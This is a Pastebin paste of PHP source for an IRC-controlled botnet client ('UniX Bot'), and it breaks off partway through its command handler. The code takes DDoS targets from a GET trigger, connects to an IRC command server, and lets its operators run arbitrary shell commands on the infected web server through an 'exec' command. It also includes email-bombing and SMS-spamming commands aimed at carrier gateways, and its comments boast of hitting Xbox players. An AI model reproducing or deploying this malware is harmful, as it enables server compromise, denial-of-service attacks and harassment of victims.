ZeusOdin

ddos php file

May 7th, 2015
766
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 99.75 KB | None | 0 0
  1. <?
  2.  
  3. if($_GET['act'] == 'lol'){
  4.  
  5. udpflood4($_GET['host'], $_GET['psize'], $_GET['time'], $_GET['port']);
  6.  
  7. }
  8. /****************************************************/
  9.  
  10. /*     ---------------------UniX--------------------            */
  11.  
  12. /* UniX Bot - Coding by ANoN - This code is Very PUBLIC!            */
  13.  
  14. /* + Modded UDP Flooder         */
  15.  
  16. /* + Removed TCP Flooder                                */
  17.  
  18. /* + Added email bomb                                        */
  19.  
  20. /* + Added join message                    */
  21.  
  22. /* + Added !site command         */
  23.  
  24. /* + Added whois                                         */
  25.  
  26. /* + Added port scan                                         */
  27.  
  28. /* + Added Quick UDP Flood                                         */
  29.  
  30. /* + Added Colors                                        */
  31.  
  32. /* + Added Count Command    */
  33.  
  34. /* - Removed Host (IP Address) Auth (Its bullssss)    */
  35.  
  36. /* + Added Credits                                */
  37.  
  38. /* + Added Speedtest     */
  39.  
  40. /* - Removed Useless ssss    */
  41.  
  42. /* + Cleaned the code    */
  43.  
  44. /* + Added Version    */
  45.  
  46. /* + Added New nicks     */
  47.  
  48. /* + Added Update command     */
  49.  
  50. /* + Made the update command idiot proof    */
  51.  
  52. /* + Added commands command    */
  53.  
  54. /* + Added id command    */
  55.  
  56. /* + Added uptime command    */
  57.  
  58. /* + Added evidence eraser    */
  59.  
  60. /* + Added Cell Phone Spammer    */
  61.  
  62. /* + Added Cell info    */
  63.  
  64. /* + Added change prefix    */
  65.  
  66. /* + Added install update command    */
  67.  
  68. /* + Added port 3074 DDoS     */
  69.  
  70. /* + ICMP ddoS?    */
  71.  
  72. /* + FTP ddoS?    */
  73.  
  74. /* + Added 2 Player ddos feature     */
  75.  
  76. /* + Added 3 Player ddos feature     */
  77.  
  78. /* + Added 4 Player ddos feature     */
  79.  
  80. /****************************************************/
  81.     set_time_limit( 0 );
  82.  
  83.     error_reporting( 0 );
  84.  
  85.     echo "ANoNyMoUS iZ LeGioN";
  86.     class Mike_Unix
  87.  
  88.     {
  89.         var $using_encode = true;
  90.         var $config = array(
  91.  
  92.             'nickform'    => 'FraseR|%d]',
  93.  
  94.             'nickform2'    => '%d]',
  95.  
  96.             'prfix'    => 'NzM|%d]',
  97.  
  98.             'identp'    => 'Mike',
  99.  
  100.             'modes'        => '+B',
  101.  
  102.             'maxrand'    => 6,
  103.  
  104.             'maxrand2'    => 1,
  105.  
  106.             'maxrand3'    => 2,
  107.  
  108.             'maxrand4'    => 3,
  109.  
  110.             'cprefix'    => '.',
  111.  
  112.             'version'    => '1.0',
  113.  
  114.             'host'        => '*',
  115.  
  116.             'yellow'        => '12',
  117.  
  118.             'blue'        => '4',
  119.  
  120.             'orange'        => '9',
  121.  
  122.             'green'        => '7',
  123.  
  124.             'leetprefix'        => '4>>',
  125.  
  126.             'leetsuffix'        => '12<<',
  127.  
  128.             'leetprefixwhite'        => '0>>',
  129.  
  130.             'leetsuffixwhite'        => '0<<',
  131.  
  132.             'leetsuffixred'        => '4<<',
  133.  
  134.             'part1'        => '0?~{ 4',
  135.  
  136.             'part2'        => '0}~?',
  137.  
  138.             'hostauth'        => '*'
  139.         );
  140.         var $messages = array
  141.  
  142.         (
  143.  
  144.         'bad'        => '0?~{ 14L0o14G0i14N 0}~? 0',
  145.  
  146.         'loginmsg'    => '0?~{ 14L0o14G0i14N 0}~? 0',
  147.  
  148.         'entry'        => '0?~{ 14ElatioN 14B0o14T0 }~? 14E0x14e0c0u14t0e14D',
  149.  
  150.         'id'        => '0?~{ 4 Frasers Anti-Private bot v1.0  0}~?',
  151.  
  152.         'udpmsg'        => '0?~{ 12UDP Flood Active 0}~?',
  153.  
  154.         'udpmsgfast'        => '0?~{ 12Quick UDP-FLOOD 0}~?',
  155.  
  156.         'speedtest'        => '0?~{ 9 Speedtest Starting Up...... 0}~?',
  157.  
  158.         'speedtestfin'        => '0?~{ 9 The Speedtest Is Complete. 0}~?',
  159.  
  160.         'logoutmsg'        => '0?~{ 14S0e14e 0Y14a 0L14a0T14e0R,',
  161.  
  162.         'mailmsg'        => '14N0a14i0L14e0R',
  163.  
  164.         'sprintmsg'        => '14S0p14r0i14n0T 14P0C14S',
  165.  
  166.         'execmsg'        => '14E0x14E0C'
  167.         );
  168.         var $admins = array
  169.  
  170.         (
  171.  
  172.          'Fraser' => 'e48e13207341b6bffb7fb1622282247b',
  173.  
  174.          'RoboFTW' => '6d67f24e6f2cff6ed5b0495fab78618a',
  175.  
  176.          'chrisjnsn' => 'e48e13207341b6bffb7fb1622282247b',
  177.  
  178.          'Respect' => 'e48e13207341b6bffb7fb1622282247b',
  179.  
  180.          'NadeZ' => 'e48e13207341b6bffb7fb1622282247b',
  181.  
  182.          'Account6' => 'e48e13207341b6bffb7fb1622282247b',
  183.  
  184.          'Account7' => 'e48e13207341b6bffb7fb1622282247b',
  185.  
  186.          'Account8' => 'e48e13207341b6bffb7fb1622282247b',
  187.  
  188.          'Account9' => 'e48e13207341b6bffb7fb1622282247b',
  189.  
  190.          'Account10' => 'e48e13207341b6bffb7fb1622282247b',
  191.  
  192.          'Account11' => 'e48e13207341b6bffb7fb1622282247b',
  193.  
  194.         );
  195.         function auth_host( $nick, $password, $host )
  196.  
  197.         {
  198.  
  199.                 $this->users[ $host ] = true;
  200.  
  201.         }
  202.         function is_authed( $host )
  203.  
  204.         {
  205.  
  206.             return isset( $this->users[ $host ] );
  207.  
  208.         }
  209.         function remove_auth( $host )
  210.  
  211.         {
  212.  
  213.             unset( $this->users[ $host ] );
  214.  
  215.         }
  216.         function ex( $cfe )
  217.  
  218.         {
  219.  
  220.             $res = '';
  221.  
  222.             if (!empty($cfe))
  223.  
  224.             {
  225.  
  226.                 if(function_exists('class_exists') && class_exists('Perl'))
  227.  
  228.                 {
  229.  
  230.                     $perl = new Perl();
  231.  
  232.                     $perl->eval( "system('$cfe');" );
  233.  
  234.                 }
  235.  
  236.                 if(function_exists('exec'))
  237.  
  238.                 {
  239.  
  240.                     @exec($cfe,$res);
  241.  
  242.                     $res = join("\n",$res);
  243.  
  244.                 }
  245.  
  246.                 elseif(function_exists('shell_exec'))
  247.  
  248.                 {
  249.  
  250.                     $res = @shell_exec($cfe);
  251.  
  252.                 }
  253.  
  254.                 elseif(function_exists('system'))
  255.  
  256.                 {
  257.  
  258.                     @ob_start();
  259.  
  260.                     @system($cfe);
  261.  
  262.                     $res = @ob_get_contents();
  263.  
  264.                     @ob_end_clean();
  265.  
  266.                 }
  267.  
  268.                 elseif(function_exists('passthru'))
  269.  
  270.                 {
  271.  
  272.                     @ob_start();
  273.  
  274.                     @passthru($cfe);
  275.  
  276.                     $res = @ob_get_contents();
  277.  
  278.                     @ob_end_clean();
  279.  
  280.                 }
  281.  
  282.                 elseif(function_exists('proc_open'))
  283.  
  284.                 {
  285.  
  286.                     $res = proc_open($cfe);
  287.  
  288.                 }
  289.  
  290.                 elseif(@is_resource($f = @popen($cfe,"r")))
  291.  
  292.                 {
  293.  
  294.                     $res = "";
  295.  
  296.                     while(!@feof($f)) { $res .= @fread($f,1024); }
  297.  
  298.                     @pclose($f);
  299.  
  300.                 }
  301.  
  302.             }
  303.  
  304.             return $res;
  305.  
  306.         }
  307.         function is_safe( )
  308.  
  309.         {
  310.  
  311.             if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
  312.  
  313.             {
  314.  
  315.                 return 0;
  316.  
  317.             }
  318.  
  319.             return 1;
  320.  
  321.         }
  322.         function ffff_you( )
  323.  
  324.         {
  325.  
  326.             if( $this->using_encode )
  327.  
  328.             {
  329.  
  330.                 $enc0ded = "I0NhYmJhZ2U=";
  331.  
  332.                 return base64_decode($enc0ded);
  333.  
  334.             }
  335.  
  336.             else
  337.  
  338.             {
  339.  
  340.                 return '#'.$this->config[ 'chan' ];
  341.  
  342.             }
  343.  
  344.         }
  345.         function start()
  346.  
  347.         {
  348.  
  349.             if( $this->using_encode )
  350.  
  351.             {
  352.  
  353.                 $crackedout = "IPHERE";
  354.  
  355.                 if(!($this->conn = fsockopen(base64_decode($crackedout),6667,$e,$s,30)))
  356.  
  357.                 {
  358.  
  359.                     $this->start();
  360.  
  361.                 }
  362.  
  363.             }
  364.  
  365.             else
  366.  
  367.             {
  368.  
  369.                 if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  370.  
  371.                 {
  372.  
  373.                     $this->start();
  374.  
  375.                 }
  376.  
  377.             }
  378.             $ident = $this->config['prefix'];
  379.  
  380.             $alph = range("0","9");
  381.  
  382.             for( $i=0; $i < $this->config['maxrand']; $i++ )
  383.  
  384.             {
  385.  
  386.                 $ident .= $alph[rand(0,9)];
  387.  
  388.             }
  389.             if( strlen( $this->config[ 'pass' ] ) > 0 )
  390.  
  391.             {
  392.  
  393.                 $this->send( "PASS ".$this->config[ 'pass' ] );
  394.  
  395.             }
  396.  
  397.             $motha = "Fraser";
  398.  
  399.             $mike = " non-private non-unix";
  400.  
  401.             $this->send("USER ".$motha." 127.0.0.1 localhost :".$mike."");
  402.  
  403.             $this->set_nick( );
  404.  
  405.             $this->main( );
  406.  
  407.         }
  408.         function main()
  409.  
  410.         {
  411.  
  412.             while(!feof($this->conn))
  413.  
  414.             {
  415.  
  416.                 $this->buf = trim(fgets($this->conn,512));
  417.  
  418.                 $cmd = explode(" ",$this->buf);
  419.  
  420.                 if(substr($this->buf,0,6)=="PING :")
  421.  
  422.                 {
  423.  
  424.                     $this->send("PONG :".substr($this->buf,6));
  425.  
  426.                 }
  427.  
  428.                 if(isset($cmd[1]) && $cmd[1] =="001")
  429.  
  430.                 {
  431.  
  432.                     $this->send("MODE ".$this->nick." ".$this->config['modes']);
  433.                     if( $this->using_encode )
  434.  
  435.                     {
  436.  
  437.                         $this->join($this->ffff_you( ),base64_decode($this->config['key']));
  438.  
  439.                         $entry = $this->messages['entry'];
  440.  
  441.                         $leetprefix = $this->config['leetprefix'];
  442.  
  443.                         $leetsuffixred = $this->config['leetsuffixred'];
  444.  
  445.                         $ip = ( $_SERVER["HTTP_HOST"] );
  446.  
  447.                         $blue = $this->config['blue'];
  448.  
  449.                         $red = $this->config['yellow'];
  450.  
  451.                         $this->privmsg( $this->ffff_you( ), "$leetprefix $entry $leetsuffixred" );
  452.  
  453.                     }
  454.  
  455.                     else
  456.  
  457.                     {
  458.  
  459.                         $this->join($this->ffff_you( ),$this->config['key']);
  460.  
  461.                     }
  462.                     if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  463.  
  464.                     else { $safemode = "off"; }
  465.  
  466.                     $uname = php_uname();
  467.  
  468.                 }
  469.  
  470.                 if(isset($cmd[1]) && $cmd[1]=="433")
  471.  
  472.                 {
  473.  
  474.                     $this->set_nick();
  475.  
  476.                 }
  477.  
  478.                 if($this->buf != $old_buf)
  479.  
  480.                 {
  481.  
  482.                     $mcmd = array();
  483.  
  484.                     $msg = substr(strstr($this->buf," :"),2);
  485.  
  486.                     $msgcmd = explode(" ",$msg);
  487.  
  488.                     $nick = explode("!",$cmd[0]);
  489.  
  490.                     $vhost = explode("@",$nick[1]);
  491.  
  492.                     $vhost = $vhost[1];
  493.  
  494.                     $nick = substr($nick[0],1);
  495.  
  496.                     $host = $cmd[0];
  497.  
  498.                     if($msgcmd[0]==$this->nick)
  499.  
  500.                     {
  501.  
  502.                         for($i=0;$i<count($msgcmd);$i++)
  503.  
  504.                             $mcmd[$i] = $msgcmd[$i+1];
  505.  
  506.                     }
  507.  
  508.                     else
  509.  
  510.                     {
  511.  
  512.                         for($i=0;$i<count($msgcmd);$i++)
  513.  
  514.                             $mcmd[$i] = $msgcmd[$i];
  515.  
  516.                     }
  517.  
  518.                     if(count($cmd)>2)
  519.  
  520.                     {
  521.  
  522.                         switch($cmd[1])
  523.  
  524.                         {
  525.  
  526.                             case "QUIT":
  527.  
  528.                             {
  529.  
  530.                                 if( $this->is_authed( $host ) )
  531.  
  532.                                 {
  533.  
  534.                                     $this->remove_auth( $host );
  535.  
  536.                                 }
  537.  
  538.                             }
  539.  
  540.                             break;
  541.  
  542.                             case "PART":
  543.  
  544.                             {
  545.  
  546.                                 if( $this->is_authed( $host ) )
  547.  
  548.                                 {
  549.  
  550.                                     $this->remove_auth( $host );
  551.  
  552.                                 }
  553.  
  554.                             }
  555.  
  556.                             break;
  557.  
  558.                             case "PRIVMSG":
  559.  
  560.                                 if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
  561.  
  562.                                 {
  563.  
  564.                                     if( $this->is_authed( $host ) == false )
  565.  
  566.                                     {
  567.  
  568.                                         switch( substr( $mcmd[ 0 ], 1 ) )
  569.  
  570.                                         {
  571.  
  572.                                             case "l":
  573.  
  574.                                             {
  575.  
  576.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  577.  
  578.                                                   if( $this->is_authed( $host ) )
  579.  
  580.                                                 {
  581.  
  582.                                                 if( $nick == "Fraser" )
  583.  
  584.                                                     {
  585.  
  586.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  587.  
  588.                                                     $this->ex('rm -rf ion_cache.dat');
  589.  
  590.                                                     $this->ex('rm -rf *gow*');
  591.  
  592.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  593.  
  594.                                                     $loginmsg = $this->messages['loginmsg'];
  595.  
  596.                                                     $leetprefix = $this->config['leetprefix'];
  597.  
  598.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  599.  
  600.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Hello, $leetprefix FraseR $leetsuffixred" );
  601.  
  602.                                                     break;
  603.  
  604.                                                 }
  605.  
  606.                                                 }
  607.  
  608.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  609.  
  610.                                                   if( $this->is_authed( $host ) )
  611.  
  612.                                                 {
  613.  
  614.                                                     if( $nick == "RoboFTW" )
  615.  
  616.                                                     {
  617.  
  618.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  619.  
  620.                                                     $this->ex('rm -rf ion_cache.dat');
  621.  
  622.                                                     $this->ex('rm -rf *gow*');
  623.  
  624.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  625.  
  626.                                                     $loginmsg = $this->messages['loginmsg'];
  627.  
  628.                                                     $leetprefix = $this->config['leetprefix'];
  629.  
  630.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  631.  
  632.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg  Robo's In DA House!" );
  633.  
  634.                                                     break;
  635.  
  636.                                                 }
  637.  
  638.                                                 }
  639.  
  640.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  641.  
  642.                                                   if( $this->is_authed( $host ) )
  643.  
  644.                                                 {
  645.  
  646.                                                     if( $nick == "_0xi" )
  647.  
  648.                                                     {
  649.  
  650.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  651.  
  652.                                                     $this->ex('rm -rf ion_cache.dat');
  653.  
  654.                                                     $this->ex('rm -rf *gow*');
  655.  
  656.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  657.  
  658.                                                     $loginmsg = $this->messages['loginmsg'];
  659.  
  660.                                                     $leetprefix = $this->config['leetprefix'];
  661.  
  662.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  663.  
  664.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg iTz My NiGGa $leetprefix $nick $leetsuffixred" );
  665.  
  666.                                                     break;
  667.  
  668.                                                 }
  669.  
  670.                                                 }
  671.  
  672.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  673.  
  674.                                                   if( $this->is_authed( $host ) )
  675.  
  676.                                                 {
  677.  
  678.                                                     if( $nick == "HELLOKiTty" )
  679.  
  680.                                                     {
  681.  
  682.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  683.  
  684.                                                     $this->ex('rm -rf ion_cache.dat');
  685.  
  686.                                                     $this->ex('rm -rf *gow*');
  687.  
  688.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  689.  
  690.                                                     $loginmsg = $this->messages['loginmsg'];
  691.  
  692.                                                     $leetprefix = $this->config['leetprefix'];
  693.  
  694.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  695.  
  696.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Meeeeeow ;] $leetprefix $nick $leetsuffixred" );
  697.  
  698.                                                     break;
  699.  
  700.                                                 }
  701.  
  702.                                                 }
  703.  
  704.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  705.  
  706.                                                   if( $this->is_authed( $host ) )
  707.  
  708.                                                 {
  709.  
  710.                                                     if( $nick == "chrisjnsn" )
  711.  
  712.                                                     {
  713.  
  714.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  715.  
  716.                                                     $this->ex('rm -rf ion_cache.dat');
  717.  
  718.                                                     $this->ex('rm -rf *gow*');
  719.  
  720.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  721.  
  722.                                                     $loginmsg = $this->messages['loginmsg'];
  723.  
  724.                                                     $leetprefix = $this->config['leetprefix'];
  725.  
  726.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  727.  
  728.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Hello Chris" );
  729.  
  730.                                                     break;
  731.  
  732.                                                 }
  733.  
  734.                                                 }
  735.  
  736.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  737.  
  738.                                                   if( $this->is_authed( $host ) )
  739.  
  740.                                                 {
  741.  
  742.                                                     if( $nick == "KeShiMi" )
  743.  
  744.                                                     {
  745.  
  746.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  747.  
  748.                                                     $this->ex('rm -rf ion_cache.dat');
  749.  
  750.                                                     $this->ex('rm -rf *gow*');
  751.  
  752.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  753.  
  754.                                                     $loginmsg = $this->messages['loginmsg'];
  755.  
  756.                                                     $leetprefix = $this->config['leetprefix'];
  757.  
  758.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  759.  
  760.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg LORD OF THE MO ffffIN KITTENS IN THA HOUSE $leetprefix $nick $leetsuffixred" );
  761.  
  762.                                                     break;
  763.  
  764.                                                 }
  765.  
  766.                                                 }
  767.  
  768.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  769.  
  770.                                                   if( $this->is_authed( $host ) )
  771.  
  772.                                                 {
  773.  
  774.                                                     if( $nick == "Code" )
  775.  
  776.                                                     {
  777.  
  778.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  779.  
  780.                                                     $this->ex('rm -rf ion_cache.dat');
  781.  
  782.                                                     $this->ex('rm -rf *gow*');
  783.  
  784.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  785.  
  786.                                                     $loginmsg = $this->messages['loginmsg'];
  787.  
  788.                                                     $leetprefix = $this->config['leetprefix'];
  789.  
  790.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  791.  
  792.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Good day Mr. $leetprefix $nick $leetsuffixred" );
  793.  
  794.                                                     break;
  795.  
  796.                                                 }
  797.  
  798.                                                 }
  799.  
  800.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  801.  
  802.                                                   if( $this->is_authed( $host ) )
  803.  
  804.                                                 {
  805.  
  806.                                                     if( $nick == "Router" )
  807.  
  808.                                                     {
  809.  
  810.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  811.  
  812.                                                     $this->ex('rm -rf ion_cache.dat');
  813.  
  814.                                                     $this->ex('rm -rf *gow*');
  815.  
  816.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  817.  
  818.                                                     $loginmsg = $this->messages['loginmsg'];
  819.  
  820.                                                     $leetprefix = $this->config['leetprefix'];
  821.  
  822.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  823.  
  824.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Kentucky Fried $leetprefix $nick $leetsuffixred" );
  825.  
  826.                                                     break;
  827.  
  828.                                                 }
  829.  
  830.                                                 }
  831.  
  832.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  833.  
  834.                                                   if( $this->is_authed( $host ) )
  835.  
  836.                                                 {
  837.  
  838.                                                     if( $nick == "Respect" )
  839.  
  840.                                                     {
  841.  
  842.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  843.  
  844.                                                     $this->ex('rm -rf ion_cache.dat');
  845.  
  846.                                                     $this->ex('rm -rf *gow*');
  847.  
  848.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  849.  
  850.                                                     $loginmsg = $this->messages['loginmsg'];
  851.  
  852.                                                     $leetprefix = $this->config['leetprefix'];
  853.  
  854.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  855.  
  856.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
  857.  
  858.                                                     break;
  859.  
  860.                                                 }
  861.  
  862.                                                 }
  863.  
  864.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  865.  
  866.                                                   if( $this->is_authed( $host ) )
  867.  
  868.                                                 {
  869.  
  870.                                                     if( $nick == "Mason" )
  871.  
  872.                                                     {
  873.  
  874.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  875.  
  876.                                                     $this->ex('rm -rf ion_cache.dat');
  877.  
  878.                                                     $this->ex('rm -rf *gow*');
  879.  
  880.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  881.  
  882.                                                     $loginmsg = $this->messages['loginmsg'];
  883.  
  884.                                                     $leetprefix = $this->config['leetprefix'];
  885.  
  886.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  887.  
  888.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg By Your Command, $leetprefix $nick $leetsuffixred" );
  889.  
  890.                                                     break;
  891.  
  892.                                                 }
  893.  
  894.                                                 }
  895.  
  896.                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  897.  
  898.                                                   if( $this->is_authed( $host ) )
  899.  
  900.                                                 {
  901.  
  902.                                                     if( $nick == "NadeZ" )
  903.  
  904.                                                     {
  905.  
  906.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  907.  
  908.                                                     $this->ex('rm -rf ion_cache.dat');
  909.  
  910.                                                     $this->ex('rm -rf *gow*');
  911.  
  912.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  913.  
  914.                                                     $loginmsg = $this->messages['loginmsg'];
  915.  
  916.                                                     $leetprefix = $this->config['leetprefix'];
  917.  
  918.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  919.  
  920.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Hello there, $leetprefix $nick $leetsuffixred" );
  921.  
  922.                                                     break;
  923.  
  924.                                                 }
  925.  
  926.                                                 }
  927.  
  928.                                                 else
  929.  
  930.                                                 {
  931.  
  932.                                                     $this->auth_host( $nick, $mcmd[ 1 ], $host );
  933.  
  934.                                                     $this->ex('rm -rf ion_cache.dat');
  935.  
  936.                                                     $this->ex('rm -rf *gow*');
  937.  
  938.                                                     $this->ex( "echo $nick >> ion_cache.dat" );
  939.  
  940.                                                     $loginmsg = $this->messages['loginmsg'];
  941.  
  942.                                                     $leetprefix = $this->config['leetprefix'];
  943.  
  944.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  945.  
  946.                                                     $this->privmsg( $this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
  947.  
  948.                                                     break;
  949.  
  950.                                                             }
  951.  
  952.                                                                 }
  953.  
  954.                                     }
  955.  
  956.                                 }
  957.  
  958.                                     else
  959.  
  960.                                     {
  961.  
  962.                                         switch(substr($mcmd[0],1))
  963.  
  964.                                         {
  965.  
  966.                                             case "exec":
  967.  
  968.                                             {
  969.  
  970.                                                 if( !$this->is_safe( ) )
  971.  
  972.                                                 {
  973.  
  974.                                                     $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  975.  
  976.                                                     $returndata = $this->ex( $command );
  977.  
  978.                                                     if( !empty( $returndata ) )
  979.  
  980.                                                     {
  981.  
  982.                                                         $execmsg = $this->messages['execmsg'];
  983.  
  984.                                                         $leetprefix = $this->config['leetprefix'];
  985.  
  986.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  987.  
  988.                                                         $blue = $this->config['blue'];
  989.  
  990.                                                         $red = $this->config['yellow'];
  991.  
  992.                                                         $part1 = $this->config['part1'];
  993.  
  994.                                                         $part2 = $this->config['part2'];
  995.  
  996.                                                         $this->privmsg( $this->ffff_you( ),"$red $part1 $blue$execmsg $red $part2 $leetsuffixred $red $returndata");
  997.  
  998.                                                     }
  999.  
  1000.                                                 }
  1001.  
  1002.                                                 break;
  1003.  
  1004.                                             }
  1005.  
  1006.                                                 case "bomb":
  1007.  
  1008.                                             {
  1009.  
  1010.                                                 if(count($mcmd) > 5)
  1011.  
  1012.                                                 {
  1013.  
  1014.                                                     $header = "From: <".$mcmd[2].">";
  1015.  
  1016.                                                     if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header))
  1017.  
  1018.                                                     {
  1019.  
  1020.                                                         $this->privmsg( $this->ffff_you( ),"[\2MAIL\2]: Unable to send email.");
  1021.  
  1022.                                                     }
  1023.  
  1024.                                                     else
  1025.  
  1026.                                                     {
  1027.  
  1028.                                                         $mbomb = 1;
  1029.  
  1030.                                                         while($mbomb <= $mcmd[4])
  1031.  
  1032.                                                             {
  1033.  
  1034.                                                                 mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1035.  
  1036.                                                                 $mbomb++;
  1037.  
  1038.                                                             }
  1039.  
  1040.                                                         if($mbomb = $mcmd[4])
  1041.  
  1042.                                                             {
  1043.  
  1044.                                                                 $mailmsg = $this->messages['mailmsg'];
  1045.  
  1046.                                                                 $part1 = $this->config['part1'];
  1047.  
  1048.                                                                 $part2 = $this->config['part2'];
  1049.  
  1050.                                                                 $this->privmsg( $this->ffff_you( ),"$part1 $mailmsg: $part2 \2 Sent\3"."4 $mcmd[4] \3Emails to \3"."4$mcmd[1]\3 From: \3"."4$mcmd[2]\3 Subject: \3"."4$mcmd[3]\3 \2");
  1051.  
  1052.                                                             }
  1053.  
  1054.                                                     }
  1055.  
  1056.                                                 }
  1057.  
  1058.                                                 break;
  1059.  
  1060.                                             }
  1061.  
  1062.                                                 case "sprint":
  1063.  
  1064.                                             {
  1065.  
  1066.                                                 if(count($mcmd) > 5)
  1067.  
  1068.                                                 {
  1069.  
  1070.                                                           $part1 = $this->config['part1'];
  1071.  
  1072.                                                         $part2 = $this->config['part2'];
  1073.  
  1074.                                                         $blue = $this->config['blue'];
  1075.  
  1076.                                                         $red = $this->config['yellow'];
  1077.  
  1078.                                                         $header = "From: <".$mcmd[2].">";
  1079.  
  1080.                                                         $mbomb = 1;
  1081.  
  1082.                                                         $sprintmail = "@messaging.sprintpcs.com";
  1083.  
  1084.                                                         $sprint = "$mcmd[1]$sprintmail";
  1085.  
  1086.                                                         while($mbomb <= $mcmd[4])
  1087.  
  1088.                                                             {
  1089.  
  1090.                                                                 mail($sprint,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1091.  
  1092.                                                                 $mbomb++;
  1093.  
  1094.                                                             }
  1095.  
  1096.                                                         if($mbomb = $mcmd[4])
  1097.  
  1098.                                                             {
  1099.  
  1100.                                                                 $sprintmsg = $this->messages['sprintmsg'];
  1101.  
  1102.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$sprintmsg $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1103.  
  1104.                                                             }
  1105.  
  1106.                                                 }
  1107.  
  1108.                                                 break;
  1109.  
  1110.                                             }
  1111.  
  1112.                                                 case "verizon":
  1113.  
  1114.                                             {
  1115.  
  1116.                                                 if(count($mcmd) > 5)
  1117.  
  1118.                                                 {
  1119.  
  1120.                                                           $part1 = $this->config['part1'];
  1121.  
  1122.                                                         $part2 = $this->config['part2'];
  1123.  
  1124.                                                         $blue = $this->config['blue'];
  1125.  
  1126.                                                         $red = $this->config['yellow'];
  1127.  
  1128.                                                         $header = "From: <".$mcmd[2].">";
  1129.  
  1130.                                                         $mbomb = 1;
  1131.  
  1132.                                                         $verizonmail = "@vtext.com";
  1133.  
  1134.                                                         $verizon = "$mcmd[1]$verizonmail";
  1135.  
  1136.                                                         while($mbomb <= $mcmd[4])
  1137.  
  1138.                                                             {
  1139.  
  1140.                                                                 mail($verizon,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1141.  
  1142.                                                                 $mbomb++;
  1143.  
  1144.                                                             }
  1145.  
  1146.                                                         if($mbomb = $mcmd[4])
  1147.  
  1148.                                                             {
  1149.  
  1150.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$red Verizon Wireless $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1151.  
  1152.                                                             }
  1153.  
  1154.                                                 }
  1155.  
  1156.                                                 break;
  1157.  
  1158.                                             }
  1159.  
  1160.                                                 case "tmobile":
  1161.  
  1162.                                             {
  1163.  
  1164.                                                 if(count($mcmd) > 5)
  1165.  
  1166.                                                 {
  1167.  
